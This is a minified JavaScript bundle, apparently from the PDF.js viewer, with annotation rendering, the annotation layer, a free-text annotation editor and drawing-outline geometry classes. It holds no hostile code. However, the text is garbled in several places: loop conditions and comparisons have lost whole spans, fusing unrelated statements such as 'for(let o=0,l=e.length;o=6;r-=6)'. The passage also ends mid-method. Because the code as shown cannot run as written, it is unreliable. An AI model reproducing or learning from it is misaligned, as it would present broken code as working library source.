l=_.normalizeRect([o[0],e[3]-o[1]+e[1],o[2],e[3]-o[3]+e[1]]),c=s?o[2]-o[0]+5:0,d=l[0]+c,f=l[1];g(this,as,[100*(d-r)/t,100*(f-i)/n]);const{style:p}=a(this,oe);p.left=`${a(this,as)[0]}%`,p.top=`${a(this,as)[1]}%`},Vg=function(){if(a(this,Nn)){a(this,Nn).toggleCommentPopup(this,!1);return}g(this,oi,!a(this,oi)),a(this,oi)?(A(this,At,Wg).call(this),a(this,oe).addEventListener("click",a(this,Du)),a(this,oe).addEventListener("keydown",a(this,Ta))):(A(this,At,Hy).call(this),a(this,oe).removeEventListener("click",a(this,Du)),a(this,oe).removeEventListener("keydown",a(this,Ta)))},Wg=function(){a(this,Bn)||this.render(),this.isVisible?a(this,oi)&&a(this,oe).classList.add("focused"):(A(this,At,AE).call(this),a(this,oe).hidden=!1,a(this,oe).style.zIndex=parseInt(a(this,oe).style.zIndex,10)+1e3)},Hy=function(){a(this,oe).classList.remove("focused"),!(a(this,oi)||!this.isVisible)&&(a(this,oe).hidden=!0,a(this,oe).style.zIndex=parseInt(a(this,oe).style.zIndex,10)-1e3)};class EE extends re{constructor(e){super(e,{isRenderable:!0,ignoreBorder:!0}),this.textContent=e.data.textContent,this.textPosition=e.data.textPosition,this.annotationEditorType=ct.FREETEXT}render(){if(this.container.classList.add("freeTextAnnotation"),this.textContent){const e=this.contentElement=document.createElement("div");e.classList.add("annotationTextContent"),e.setAttribute("role","comment");for(const t of this.textContent){const n=document.createElement("span");n.textContent=t,e.append(n)}this.container.append(e)}return!this.data.popupRef&&this.hasPopupData&&(this.hasOwnCommentButton=!0,this._createPopup()),this._editOnDoubleClick(),this.container}}var Uf;class AC extends re{constructor(t){super(t,{isRenderable:!0,ignoreBorder:!0});b(this,Uf,null)}render(){this.container.classList.add("lineAnnotation");const{data:t,width:n,height:r}=this,i=this.svgFactory.create(n,r,!0),s=g(this,Uf,this.svgFactory.createElement("svg:line"));return s.setAttribute("x1",t.rect[2]-t.lineCoordinates[0]),s.setAttribute("y1",t.rect[3]-t.lineCoordinates[1]),s.setAttribute("x2",t.rect[2]-t.lineCoordinates[2]),s.setAttribute("y2",t.rect[3]-t.lineCoordinates[3]),s.setAttribute("stroke-width",t.borderStyle.width||1),s.setAttribute("stroke","transparent"),s.setAttribute("fill","transparent"),i.append(s),this.container.append(i),!t.popupRef&&this.hasPopupData&&(this.hasOwnCommentButton=!0,this._createPopup()),this.container}getElementsToTriggerPopup(){return a(this,Uf)}addHighlightArea(){this.container.classList.add("highlightArea")}}Uf=new WeakMap;var $f;class EC extends re{constructor(t){super(t,{isRenderable:!0,ignoreBorder:!0});b(this,$f,null)}render(){this.container.classList.add("squareAnnotation");const{data:t,width:n,height:r}=this,i=this.svgFactory.create(n,r,!0),s=t.borderStyle.width,o=g(this,$f,this.svgFactory.createElement("svg:rect"));return o.setAttribute("x",s/2),o.setAttribute("y",s/2),o.setAttribute("width",n-s),o.setAttribute("height",r-s),o.setAttribute("stroke-width",s||1),o.setAttribute("stroke","transparent"),o.setAttribute("fill","transparent"),i.append(o),this.container.append(i),!t.popupRef&&this.hasPopupData&&(this.hasOwnCommentButton=!0,this._createPopup()),this.container}getElementsToTriggerPopup(){return a(this,$f)}addHighlightArea(){this.container.classList.add("highlightArea")}}$f=new WeakMap;var Hf;class wC extends re{constructor(t){super(t,{isRenderable:!0,ignoreBorder:!0});b(this,Hf,null)}render(){this.container.classList.add("circleAnnotation");const{data:t,width:n,height:r}=this,i=this.svgFactory.create(n,r,!0),s=t.borderStyle.width,o=g(this,Hf,this.svgFactory.createElement("svg:ellipse"));return o.setAttribute("cx",n/2),o.setAttribute("cy",r/2),o.setAttribute("rx",n/2-s/2),o.setAttribute("ry",r/2-s/2),o.setAttribute("stroke-width",s||1),o.setAttribute("stroke","transparent"),o.setAttribute("fill","transparent"),i.append(o),this.container.append(i),!t.popupRef&&this.hasPopupData&&(this.hasOwnCommentButton=!0,this._createPopup()),this.container}getElementsToTriggerPopup(){return a(this,Hf)}addHighlightArea(){this.container.classList.add("highlightArea")}}Hf=new WeakMap;var Vf;class wE extends re{constructor(t){super(t,{isRenderable:!0,ignoreBorder:!0});b(this,Vf,null);this.containerClassName="polylineAnnotation",this.svgElementName="svg:polyline"}render(){this.container.classList.add(this.containerClassName);const{data:{rect:t,vertices:n,borderStyle:r,popupRef:i},width:s,height:o}=this;if(!n)return this.container;const l=this.svgFactory.create(s,o,!0);let u=[];for(let d=0,f=n.length;d=0&&s.setAttribute("stroke-width",n||1),r)for(let o=0,l=a(this,Sl).length;o{s.key==="Enter"&&(i?s.metaKey:s.ctrlKey)&&A(this,Xf,Wy).call(this)}),!n.popupRef&&this.hasPopupData?(this.hasOwnCommentButton=!0,this._createPopup()):r.classList.add("popupTriggerArea"),t.append(r),t}getElementsToTriggerPopup(){return a(this,Gf)}addHighlightArea(){this.container.classList.add("highlightArea")}}Gf=new WeakMap,Xf=new WeakSet,Wy=function(){var t;(t=this.downloadManager)==null||t.openOrDownloadData(this.content,this.filename)};var Cl,Tl,Bu,Da,_f,Pl,kn,Yf,ks,zg,zy,ku;let CE=(ku=class{constructor({div:e,accessibilityManager:t,annotationCanvasMap:n,annotationEditorUIManager:r,page:i,viewport:s,structTreeLayer:o,commentManager:l,linkService:u,annotationStorage:c}){b(this,ks);b(this,Cl,null);b(this,Tl,null);b(this,Bu,null);b(this,Da,new Map);b(this,_f,null);b(this,Pl,null);b(this,kn,[]);b(this,Yf,!1);M(this,"zIndex",0);this.div=e,g(this,Cl,t),g(this,Tl,n),g(this,_f,o||null),g(this,Pl,u||null),g(this,Bu,c||new ob),this.page=i,this.viewport=s,this._annotationEditorUIManager=r,this._commentManager=l||null}hasEditableAnnotations(){return a(this,Da).size>0}async render(e){var o;const{annotations:t}=e,n=this.div;hh(n,this.viewport);const r=new Map,i=[],s={data:null,layer:n,linkService:a(this,Pl),downloadManager:e.downloadManager,imageResourcesPath:e.imageResourcesPath||"",renderForms:e.renderForms!==!1,svgFactory:new Cm,annotationStorage:a(this,Bu),enableComment:e.enableComment===!0,enableScripting:e.enableScripting===!0,hasJSActions:e.hasJSActions,fieldObjects:e.fieldObjects,parent:this,elements:null};for(const l of t){if(l.noHTML)continue;const u=l.annotationType===ge.POPUP;if(u){const f=r.get(l.id);if(!f)continue;if(!this._commentManager){i.push(l);continue}s.elements=f}else if(l.rect[2]===l.rect[0]||l.rect[3]===l.rect[1])continue;s.data=l;const c=Fv.create(s);if(!c.isRenderable)continue;u||(a(this,kn).push(c),l.popupRef&&r.getOrInsertComputed(l.popupRef,eb).push(c));const d=c.render();l.hidden&&(d.style.visibility="hidden"),c._isEditable&&(a(this,Da).set(c.data.id,c),(o=this._annotationEditorUIManager)==null||o.renderAnnotationElement(c))}await A(this,ks,zg).call(this);for(const l of i){const u=s.elements=r.get(l.id);s.data=l;const c=Fv.create(s);if(!c.isRenderable)continue;const d=c.render();c.contentElement.id=`${Ph}${l.id}`,l.hidden&&(d.style.visibility="hidden"),u.at(-1).container.after(d)}A(this,ks,zy).call(this)}async addLinkAnnotations(e){const t={data:null,layer:this.div,linkService:a(this,Pl),svgFactory:new Cm,parent:this};for(const n of e){n.borderStyle||(n.borderStyle=ku._defaultBorderStyle),t.data=n;const r=Fv.create(t);r.isRenderable&&(r.render(),r.contentElement.id=`${Ph}${n.id}`,a(this,kn).push(r))}await A(this,ks,zg).call(this)}update({viewport:e}){const t=this.div;this.viewport=e,hh(t,{rotation:e.rotation}),A(this,ks,zy).call(this),t.hidden=!1}getEditableAnnotations(){return a(this,Da).values()}getEditableAnnotation(e){return a(this,Da).get(e)}addFakeAnnotation(e){const{div:t}=this,{id:n,rotation:r}=e,i=new dC({data:{id:n,rect:e.getPDFRect(),rotation:r},editor:e,layer:t,parent:this,enableComment:!!this._commentManager,linkService:a(this,Pl),annotationStorage:a(this,Bu)});return i.render(),i.contentElement.id=`${Ph}${n}`,i.createOrUpdatePopup(),a(this,kn).push(i),i}removeAnnotation(e){var r;const t=a(this,kn).findIndex(i=>i.data.id===e);if(t<0)return;const[n]=a(this,kn).splice(t,1);(r=a(this,Cl))==null||r.removePointerInTextLayer(n.contentElement)}updateFakeAnnotations(e){if(e.length!==0){for(const t of e)t.updateFakeAnnotationElement(this);A(this,ks,zg).call(this)}}togglePointerEvents(e=!1){this.div.classList.toggle("disabled",!e)}static get _defaultBorderStyle(){return dt(this,"_defaultBorderStyle",Object.freeze({width:1,rawWidth:1,style:mh.SOLID,dashArray:[3],horizontalCornerRadius:0,verticalCornerRadius:0}))}},Cl=new WeakMap,Tl=new WeakMap,Bu=new WeakMap,Da=new WeakMap,_f=new WeakMap,Pl=new WeakMap,kn=new WeakMap,Yf=new WeakMap,ks=new WeakSet,zg=async function(){var n,r,i;if(a(this,kn).length===0)return;this.div.replaceChildren();const e=[];if(!a(this,Yf)){g(this,Yf,!0);for(const{contentElement:s,data:{id:o}}of a(this,kn)){const l=s.id=`${Ph}${o}`;e.push((n=a(this,_f))==null?void 0:n.getAriaAttributes(l).then(u=>{if(u)for(const[c,d]of u)s.setAttribute(c,d)}))}}a(this,kn).sort(({data:{rect:[s,o,l,u]}},{data:{rect:[c,d,f,p]}})=>{if(s===l&&o===u)return 1;if(c===f&&d===p)return-1;const m=u,v=o,y=(o+u)/2,E=p,S=d,w=(d+p)/2;if(y>=E&&w<=v)return-1;if(w>=m&&y<=S)return 1;const C=(s+l)/2,x=(c+f)/2;return C-x});const t=document.createDocumentFragment();for(const s of a(this,kn))t.append(s.container),this._commentManager?(i=((r=s.extraPopupElement)==null?void 0:r.popup)||s.popup)==null||i.renderCommentButton():s.extraPopupElement&&t.append(s.extraPopupElement.render());if(this.div.append(t),await Promise.all(e),a(this,Cl))for(const s of a(this,kn))a(this,Cl).addPointerInTextLayer(s.contentElement,!1)},zy=function(){var t;if(!a(this,Tl))return;const e=this.div;for(const[n,r]of a(this,Tl)){const i=e.querySelector(`[data-annotation-id="${n}"]`);if(!i)continue;r.className="annotationContent";const{firstChild:s}=i;s?s.nodeName==="CANVAS"?s.replaceWith(r):s.classList.contains("annotationContent")?s.after(r):s.before(r):i.append(r);const o=a(this,Da).get(n);o&&(o._hasNoCanvas?((t=this._annotationEditorUIManager)==null||t.setMissingCanvas(n,i.id,r),o._hasNoCanvas=!1):o.canvas=r)}a(this,Tl).clear()},ku);const fg=/\r\n?|\n/g;var jn,Kf,Il,Un,Ee,TE,PE,IE,Gg,js,Xg,_g,RE,Xy,FE;const Xt=class Xt extends Gt{constructor(t){super({...t,name:"freeTextEditor"});b(this,Ee);b(this,jn,"");b(this,Kf,`${this.id}-editor`);b(this,Il,null);b(this,Un);M(this,"_colorPicker",null);this.color=t.color||Xt._defaultColor||Gt._defaultLineColor,g(this,Un,t.fontSize||Xt._defaultFontSize),this.annotationElementId||this._uiManager.a11yAlert("pdfjs-editor-freetext-added-alert"),this.canAddComment=!1}static get _keyboardManager(){const t=Xt.prototype,n=s=>s.isEmpty(),r=Cd.TRANSLATE_SMALL,i=Cd.TRANSLATE_BIG;return dt(this,"_keyboardManager",new ag([[["ctrl+s","mac+meta+s","ctrl+p","mac+meta+p"],t.commitOrRemove,{bubbles:!0}],[["ctrl+Enter","mac+meta+Enter","Escape","mac+Escape"],t.commitOrRemove],[["ArrowLeft","mac+ArrowLeft"],t._translateEmpty,{args:[-r,0],checker:n}],[["ctrl+ArrowLeft","mac+shift+ArrowLeft"],t._translateEmpty,{args:[-i,0],checker:n}],[["ArrowRight","mac+ArrowRight"],t._translateEmpty,{args:[r,0],checker:n}],[["ctrl+ArrowRight","mac+shift+ArrowRight"],t._translateEmpty,{args:[i,0],checker:n}],[["ArrowUp","mac+ArrowUp"],t._translateEmpty,{args:[0,-r],checker:n}],[["ctrl+ArrowUp","mac+shift+ArrowUp"],t._translateEmpty,{args:[0,-i],checker:n}],[["ArrowDown","mac+ArrowDown"],t._translateEmpty,{args:[0,r],checker:n}],[["ctrl+ArrowDown","mac+shift+ArrowDown"],t._translateEmpty,{args:[0,i],checker:n}]]))}static initialize(t,n){Gt.initialize(t,n);const r=getComputedStyle(document.documentElement);this._internalPadding=parseFloat(r.getPropertyValue("--freetext-padding"))}static updateDefaultParams(t,n){switch(t){case gt.FREETEXT_SIZE:Xt._defaultFontSize=n;break;case gt.FREETEXT_COLOR:Xt._defaultColor=n;break}}updateParams(t,n){switch(t){case gt.FREETEXT_SIZE:A(this,Ee,TE).call(this,n);break;case gt.FREETEXT_COLOR:A(this,Ee,PE).call(this,n);break}}static get defaultPropertiesToUpdate(){return[[gt.FREETEXT_SIZE,Xt._defaultFontSize],[gt.FREETEXT_COLOR,Xt._defaultColor||Gt._defaultLineColor]]}get propertiesToUpdate(){return[[gt.FREETEXT_SIZE,a(this,Un)],[gt.FREETEXT_COLOR,this.color]]}get toolbarButtons(){return this._colorPicker||(this._colorPicker=new Sm(this)),[["colorPicker",this._colorPicker]]}get colorType(){return gt.FREETEXT_COLOR}onUpdatedColor(){var t;this.editorDiv.style.color=this.color,(t=this._colorPicker)==null||t.update(this.color),super.onUpdatedColor()}_translateEmpty(t,n){this._uiManager.translateSelectedEditors(t,n,!0)}getInitialTranslation(){const t=this.parentScale;return[-Xt._internalPadding*t,-(Xt._internalPadding+a(this,Un))*t]}rebuild(){this.parent&&(super.rebuild(),this.div!==null&&(this.isAttachedToDOM||this.parent.add(this)))}enableEditMode(){if(!super.enableEditMode())return!1;this.overlayDiv.classList.remove("enabled"),this.editorDiv.contentEditable=!0,this._isDraggable=!1,this.div.removeAttribute("aria-activedescendant"),g(this,Il,new AbortController);const t=this._uiManager.combinedSignal(a(this,Il));return this.editorDiv.addEventListener("keydown",this.editorDivKeydown.bind(this),{signal:t}),this.editorDiv.addEventListener("focus",this.editorDivFocus.bind(this),{signal:t}),this.editorDiv.addEventListener("blur",this.editorDivBlur.bind(this),{signal:t}),this.editorDiv.addEventListener("input",this.editorDivInput.bind(this),{signal:t}),this.editorDiv.addEventListener("paste",this.editorDivPaste.bind(this),{signal:t}),!0}disableEditMode(){var t;return super.disableEditMode()?(this.overlayDiv.classList.add("enabled"),this.editorDiv.contentEditable=!1,this.div.setAttribute("aria-activedescendant",a(this,Kf)),this._isDraggable=!0,(t=a(this,Il))==null||t.abort(),g(this,Il,null),this.div.focus({preventScroll:!0}),this.isEditing=!1,this.parent.div.classList.add("freetextEditing"),!0):!1}focusin(t){this._focusEventsAllowed&&(super.focusin(t),t.target!==this.editorDiv&&this.editorDiv.focus())}onceAdded(t){var n;this.width||(this.enableEditMode(),t&&this.editorDiv.focus(),(n=this._initialOptions)!=null&&n.isCentered&&this.center(),this._initialOptions=null)}isEmpty(){return!this.editorDiv||this.editorDiv.innerText.trim()===""}remove(){this.isEditing=!1,this.parent&&(this.parent.setEditingState(!0),this.parent.div.classList.add("freetextEditing")),super.remove()}commit(){if(!this.isInEditMode())return;super.commit(),this.disableEditMode();const t=a(this,jn),n=g(this,jn,A(this,Ee,IE).call(this).trimEnd());if(t===n)return;const r=i=>{if(g(this,jn,i),!i){this.remove();return}A(this,Ee,_g).call(this),this._uiManager.rebuild(this),A(this,Ee,Gg).call(this)};this.addCommands({cmd:()=>{r(n)},undo:()=>{r(t)},mustExec:!1}),A(this,Ee,Gg).call(this)}shouldGetKeyboardEvents(){return this.isInEditMode()}enterInEditMode(){this.enableEditMode(),this.editorDiv.focus()}keydown(t){t.target===this.div&&t.key==="Enter"&&(this.enterInEditMode(),t.preventDefault())}editorDivKeydown(t){Xt._keyboardManager.exec(this,t)}editorDivFocus(t){this.isEditing=!0}editorDivBlur(t){this.isEditing=!1}editorDivInput(t){this.parent.div.classList.toggle("freetextEditing",this.isEmpty())}disableEditing(){this.editorDiv.setAttribute("role","comment"),this.editorDiv.removeAttribute("aria-multiline")}enableEditing(){this.editorDiv.setAttribute("role","textbox"),this.editorDiv.setAttribute("aria-multiline",!0)}get canChangeContent(){return!0}render(){if(this.div)return this.div;let t,n;(this._isCopy||this.annotationElementId)&&(t=this.x,n=this.y),super.render(),this.editorDiv=document.createElement("div"),this.editorDiv.className="internal",this.editorDiv.setAttribute("id",a(this,Kf)),this.editorDiv.setAttribute("data-l10n-id","pdfjs-free-text2"),this.editorDiv.setAttribute("data-l10n-attrs","default-content"),this.enableEditing(),this.editorDiv.contentEditable=!0;const{style:r}=this.editorDiv;if(r.fontSize=`calc(${a(this,Un)}px * var(--total-scale-factor))`,r.color=this.color,this.div.append(this.editorDiv),this.overlayDiv=document.createElement("div"),this.overlayDiv.classList.add("overlay","enabled"),this.div.append(this.overlayDiv),this._isCopy||this.annotationElementId){const[i,s]=this.parentDimensions;if(this.annotationElementId){const{position:o}=this._initialData;let[l,u]=this.getInitialTranslation();[l,u]=this.pageTranslationToScreen(l,u);const[c,d]=this.pageDimensions,[f,p]=this.pageTranslation;let m,v;switch(this.rotation){case 0:m=t+(o[0]-f)/c,v=n+this.height-(o[1]-p)/d;break;case 90:m=t+(o[0]-f)/c,v=n-(o[1]-p)/d,[l,u]=[u,-l];break;case 180:m=t-this.width+(o[0]-f)/c,v=n-(o[1]-p)/d,[l,u]=[-l,-u];break;case 270:m=t+(o[0]-f-this.height*d)/c,v=n+(o[1]-p-this.width*c)/d,[l,u]=[-u,l];break}this.setAt(m*i,v*s,l,u)}else this._moveAfterPaste(t,n);A(this,Ee,_g).call(this),this._isDraggable=!0,this.editorDiv.contentEditable=!1}else this._isDraggable=!1,this.editorDiv.contentEditable=!0;return this.div}editorDivPaste(t){var m,v,y;const n=t.clipboardData||window.clipboardData,{types:r}=n;if(r.length===1&&r[0]==="text/plain")return;t.preventDefault();const i=A(m=Xt,js,Xy).call(m,n.getData("text")||"").replaceAll(fg,` +`);if(!i)return;const s=window.getSelection();if(!s.rangeCount)return;this.editorDiv.normalize(),s.deleteFromDocument();const o=s.getRangeAt(0);if(!i.includes(` +`)){o.insertNode(document.createTextNode(i)),this.editorDiv.normalize(),s.collapseToStart();return}const{startContainer:l,startOffset:u}=o,c=[],d=[];if(l.nodeType===Node.TEXT_NODE){const E=l.parentElement;if(d.push(l.nodeValue.slice(u).replaceAll(fg,"")),E!==this.editorDiv){let S=c;for(const w of this.editorDiv.childNodes){if(w===E){S=d;continue}S.push(A(v=Xt,js,Xg).call(v,w))}}c.push(l.nodeValue.slice(0,u).replaceAll(fg,""))}else if(l===this.editorDiv){let E=c,S=0;for(const w of this.editorDiv.childNodes)S++===u&&(E=d),E.push(A(y=Xt,js,Xg).call(y,w))}g(this,jn,`${c.join(` +`)}${i}${d.join(` +`)}`),A(this,Ee,_g).call(this);const f=new Range;let p=Math.sumPrecise(c.map(E=>E.length));for(const{firstChild:E}of this.editorDiv.childNodes)if(E.nodeType===Node.TEXT_NODE){const S=E.nodeValue.length;if(p<=S){f.setStart(E,p),f.setEnd(E,p);break}p-=S}s.removeAllRanges(),s.addRange(f)}get contentDiv(){return this.editorDiv}getPDFRect(){const t=Xt._internalPadding*this.parentScale;return this.getRect(t,t)}static async deserialize(t,n,r){var o;let i=null;if(t instanceof EE){const{data:{defaultAppearanceData:{fontSize:l,fontColor:u},rect:c,rotation:d,id:f,popupRef:p,richText:m,contentsObj:v,creationDate:y,modificationDate:E},textContent:S,textPosition:w,parent:{page:{pageNumber:C}}}=t;if(!S||S.length===0)return null;i=t={annotationType:ct.FREETEXT,color:Array.from(u),fontSize:l,value:S.join(` +`),position:w,pageIndex:C-1,rect:c.slice(0),rotation:d,annotationElementId:f,id:f,deleted:!1,popupRef:p,comment:(v==null?void 0:v.str)||null,richText:m,creationDate:y,modificationDate:E}}const s=await super.deserialize(t,n,r);return g(s,Un,t.fontSize),s.color=_.makeHexColor(...t.color),g(s,jn,A(o=Xt,js,Xy).call(o,t.value)),s._initialData=i,t.comment&&s.setCommentData(t),s}serialize(t=!1){if(this.isEmpty())return null;if(this.deleted)return this.serializeDeleted();const n=Gt._colorManager.convert(this.isAttachedToDOM?getComputedStyle(this.editorDiv).color:this.color),r=Object.assign(super.serialize(t),{color:n,fontSize:a(this,Un),value:A(this,Ee,RE).call(this)});return this.addComment(r),t?(r.isCopy=!0,r):this.annotationElementId&&!A(this,Ee,FE).call(this,r)?null:(r.id=this.annotationElementId,r)}renderAnnotationElement(t){const n=super.renderAnnotationElement(t);if(!n)return null;const{style:r}=n;r.fontSize=`calc(${a(this,Un)}px * var(--total-scale-factor))`,r.color=this.color,n.replaceChildren();for(const i of a(this,jn).split(` +`)){const s=document.createElement("div");s.append(i?document.createTextNode(i):document.createElement("br")),n.append(s)}return t.updateEdited({rect:this.getPDFRect(),popup:this._uiManager.hasCommentManager()||this.hasEditedComment?this.comment:{text:a(this,jn)}}),n}resetAnnotationElement(t){super.resetAnnotationElement(t),t.resetEdited()}};jn=new WeakMap,Kf=new WeakMap,Il=new WeakMap,Un=new WeakMap,Ee=new WeakSet,TE=function(t){const n=i=>{this.editorDiv.style.fontSize=`calc(${i}px * var(--total-scale-factor))`,this.translate(0,-(i-a(this,Un))*this.parentScale),g(this,Un,i),A(this,Ee,Gg).call(this)},r=a(this,Un);this.addCommands({cmd:n.bind(this,t),undo:n.bind(this,r),post:this._uiManager.updateUI.bind(this._uiManager,this),mustExec:!0,type:gt.FREETEXT_SIZE,overwriteIfSameType:!0,keepUndo:!0})},PE=function(t){const n=i=>{this.color=i,this.onUpdatedColor()},r=this.color;this.addCommands({cmd:n.bind(this,t),undo:n.bind(this,r),post:this._uiManager.updateUI.bind(this._uiManager,this),mustExec:!0,type:gt.FREETEXT_COLOR,overwriteIfSameType:!0,keepUndo:!0})},IE=function(){var r;const t=[];this.editorDiv.normalize();let n=null;for(const i of this.editorDiv.childNodes)(n==null?void 0:n.nodeType)===Node.TEXT_NODE&&i.nodeName==="BR"||(t.push(A(r=Xt,js,Xg).call(r,i)),n=i);return t.join(` +`)},Gg=function(){const[t,n]=this.parentDimensions;let r;if(this.isAttachedToDOM)r=this.div.getBoundingClientRect();else{const{currentLayer:i,div:s}=this,o=s.style.display,l=s.classList.contains("hidden");s.classList.remove("hidden"),s.style.display="hidden",i.div.append(this.div),r=s.getBoundingClientRect(),s.remove(),s.style.display=o,s.classList.toggle("hidden",l)}this.rotation%180===this.parentRotation%180?(this.width=r.width/t,this.height=r.height/n):(this.width=r.height/t,this.height=r.width/n),this.fixAndSetPosition()},js=new WeakSet,Xg=function(t){return(t.nodeType===Node.TEXT_NODE?t.nodeValue:t.innerText).replaceAll(fg,"")},_g=function(){if(this.editorDiv.replaceChildren(),!!a(this,jn))for(const t of a(this,jn).split(` +`)){const n=document.createElement("div");n.append(t?document.createTextNode(t):document.createElement("br")),this.editorDiv.append(n)}},RE=function(){return a(this,jn).replaceAll(" "," ")},Xy=function(t){return t.replaceAll(" "," ")},FE=function(t){const{value:n,fontSize:r,color:i,pageIndex:s}=this._initialData;return this.hasEditedComment||this._hasBeenMoved||t.value!==n||t.fontSize!==r||t.color.some((o,l)=>o!==i[l])||t.pageIndex!==s},b(Xt,js),M(Xt,"_freeTextDefaultContent",""),M(Xt,"_internalPadding",0),M(Xt,"_defaultColor",null),M(Xt,"_defaultFontSize",10),M(Xt,"_type","freetext"),M(Xt,"_editorType",ct.FREETEXT);let Gy=Xt;class q{toSVGPath(){Ot("Abstract method `toSVGPath` must be implemented.")}get box(){Ot("Abstract getter `box` must be implemented.")}serialize(e,t){Ot("Abstract method `serialize` must be implemented.")}static _rescale(e,t,n,r,i,s){s||(s=new Float32Array(e.length));for(let o=0,l=e.length;o=6;r-=6)isNaN(t[r])?n.push(`L${t[r+4]} ${t[r+5]}`):n.push(`C${t[r]} ${t[r+1]} ${t[r+2]} ${t[r+3]} ${t[r+4]} ${t[r+5]}`);return A(this,Te,OE).call(this,n),n.join(" ")}newFreeDrawOutline(e,t,n,r,i,s){return new kE(e,t,n,r,i,s)}getOutlines(){var d;const e=a(this,li),t=a(this,Mr),n=a(this,wt),[r,i,s,o]=a(this,$n),l=new Float32Array((((d=a(this,Oa))==null?void 0:d.length)??0)+2);for(let f=0,p=l.length-2;f=6;f-=6)for(let p=0;p<6;p+=2){if(isNaN(t[f+p])){u[c]=u[c+1]=NaN,c+=2;continue}u[c]=t[f+p],u[c+1]=t[f+p+1],c+=2}return A(this,Te,NE).call(this,u,c),this.newFreeDrawOutline(u,l,a(this,$n),a(this,$u),a(this,ju),a(this,Uu))}};$n=new WeakMap,Mr=new WeakMap,ju=new WeakMap,Uu=new WeakMap,li=new WeakMap,wt=new WeakMap,Rl=new WeakMap,Fl=new WeakMap,Jf=new WeakMap,Zf=new WeakMap,$u=new WeakMap,Hu=new WeakMap,Oa=new WeakMap,Qf=new WeakMap,qm=new WeakMap,tv=new WeakMap,Te=new WeakSet,ad=function(){const e=a(this,wt).subarray(4,6),t=a(this,wt).subarray(16,18),[n,r,i,s]=a(this,$n);return[(a(this,Rl)+(e[0]-t[0])/2-n)/i,(a(this,Fl)+(e[1]-t[1])/2-r)/s,(a(this,Rl)+(t[0]-e[0])/2-n)/i,(a(this,Fl)+(t[1]-e[1])/2-r)/s]},DE=function(){const[e,t,n,r]=a(this,$n),[i,s,o,l]=A(this,Te,ad).call(this);return`M${(a(this,wt)[2]-e)/n} ${(a(this,wt)[3]-t)/r} L${(a(this,wt)[4]-e)/n} ${(a(this,wt)[5]-t)/r} L${i} ${s} L${o} ${l} L${(a(this,wt)[16]-e)/n} ${(a(this,wt)[17]-t)/r} L${(a(this,wt)[14]-e)/n} ${(a(this,wt)[15]-t)/r} Z`},OE=function(e){const t=a(this,Mr);e.push(`L${t[4]} ${t[5]} Z`)},ME=function(e){const[t,n,r,i]=a(this,$n),s=a(this,wt).subarray(4,6),o=a(this,wt).subarray(16,18),[l,u,c,d]=A(this,Te,ad).call(this);e.push(`L${(s[0]-t)/r} ${(s[1]-n)/i} L${l} ${u} L${c} ${d} L${(o[0]-t)/r} ${(o[1]-n)/i}`)},LE=function(e){const t=a(this,wt),[n,r,i,s]=a(this,$n),[o,l,u,c]=A(this,Te,ad).call(this),d=new Float32Array(36);return d.set([NaN,NaN,NaN,NaN,(t[2]-n)/i,(t[3]-r)/s,NaN,NaN,NaN,NaN,(t[4]-n)/i,(t[5]-r)/s,NaN,NaN,NaN,NaN,o,l,NaN,NaN,NaN,NaN,u,c,NaN,NaN,NaN,NaN,(t[16]-n)/i,(t[17]-r)/s,NaN,NaN,NaN,NaN,(t[14]-n)/i,(t[15]-r)/s],0),this.newFreeDrawOutline(d,e,a(this,$n),a(this,$u),a(this,ju),a(this,Uu))},NE=function(e,t){const n=a(this,Mr);return e.set([NaN,NaN,NaN,NaN,n[4],n[5]],t),t+=6},BE=function(e,t){const n=a(this,wt).subarray(4,6),r=a(this,wt).subarray(16,18),[i,s,o,l]=a(this,$n),[u,c,d,f]=A(this,Te,ad).call(this);return e.set([NaN,NaN,NaN,NaN,(n[0]-i)/o,(n[1]-s)/l,NaN,NaN,NaN,NaN,u,c,NaN,NaN,NaN,NaN,d,f,NaN,NaN,NaN,NaN,(r[0]-i)/o,(r[1]-s)/l],t),t+=24},b(Oi,Qf,8),b(Oi,qm,2),b(Oi,tv,a(Oi,Qf)+a(Oi,qm));let Tm=Oi;var Vu,Dl,hs,qf,Hn,tp,fe,ev,jE;class kE extends q{constructor(t,n,r,i,s,o){super();b(this,ev);b(this,Vu);b(this,Dl,new Float32Array(4));b(this,hs);b(this,qf);b(this,Hn);b(this,tp);b(this,fe);g(this,fe,t),g(this,Hn,n),g(this,Vu,r),g(this,tp,i),g(this,hs,s),g(this,qf,o),this.firstPoint=[NaN,NaN],this.lastPoint=[NaN,NaN],A(this,ev,jE).call(this,o);const[l,u,c,d]=a(this,Dl);for(let f=0,p=t.length;fE?(o=y,l=E):l===E&&(o=d(o,y)),cf[1]?(o=f[0],l=f[1]):l===f[1]&&(o=d(o,f[0])),ct[0]-n[0]||t[1]-n[1]||t[2]-n[2]);const e=[];for(const t of a(this,Ma))t[3]?(e.push(...A(this,gn,Yy).call(this,t)),A(this,gn,$E).call(this,t)):(A(this,gn,HE).call(this,t),e.push(...A(this,gn,Yy).call(this,t)));return A(this,gn,UE).call(this,e)}}ep=new WeakMap,np=new WeakMap,rp=new WeakMap,Ma=new WeakMap,Lr=new WeakMap,gn=new WeakSet,UE=function(e){const t=[],n=new Set;for(const s of e){const[o,l,u]=s;t.push([o,l,s],[o,u,s])}t.sort((s,o)=>s[1]-o[1]||s[0]-o[0]);for(let s=0,o=t.length;s0;){const s=n.values().next().value;let[o,l,u,c,d]=s;n.delete(s);let f=o,p=l;for(i=[o,u],r.push(i);;){let m;if(n.has(c))m=c;else if(n.has(d))m=d;else break;n.delete(m),[o,l,u,c,d]=m,f!==o&&(i.push(f,p,o,p===l?l:u),f=o),p=p===l?u:l}i.push(f,p)}return new RC(r,a(this,ep),a(this,np),a(this,rp))},Yg=function(e){const t=a(this,Lr);let n=0,r=t.length-1;for(;n<=r;){const i=n+r>>1,s=t[i][0];if(s===e)return i;s=0;r--){const[i,s]=a(this,Lr)[r];if(i!==e)break;if(i===e&&s===t){a(this,Lr).splice(r,1);return}}},Yy=function(e){const[t,n,r]=e,i=[[t,n,r]],s=A(this,gn,Yg).call(this,r);for(let o=0;o=l){if(p>u)i[c][1]=u;else{if(d===1)return[];i.splice(c,1),c--,d--}continue}i[c][2]=l,p>u&&i.push([t,u,p])}}}return i};var ip,Wu;class RC extends q{constructor(t,n,r,i){super();b(this,ip);b(this,Wu);g(this,Wu,t),g(this,ip,n),this.firstPoint=r,this.lastPoint=i}toSVGPath(){const t=[];for(const n of a(this,Wu)){let[r,i]=n;t.push(`M${r} ${i}`);for(let 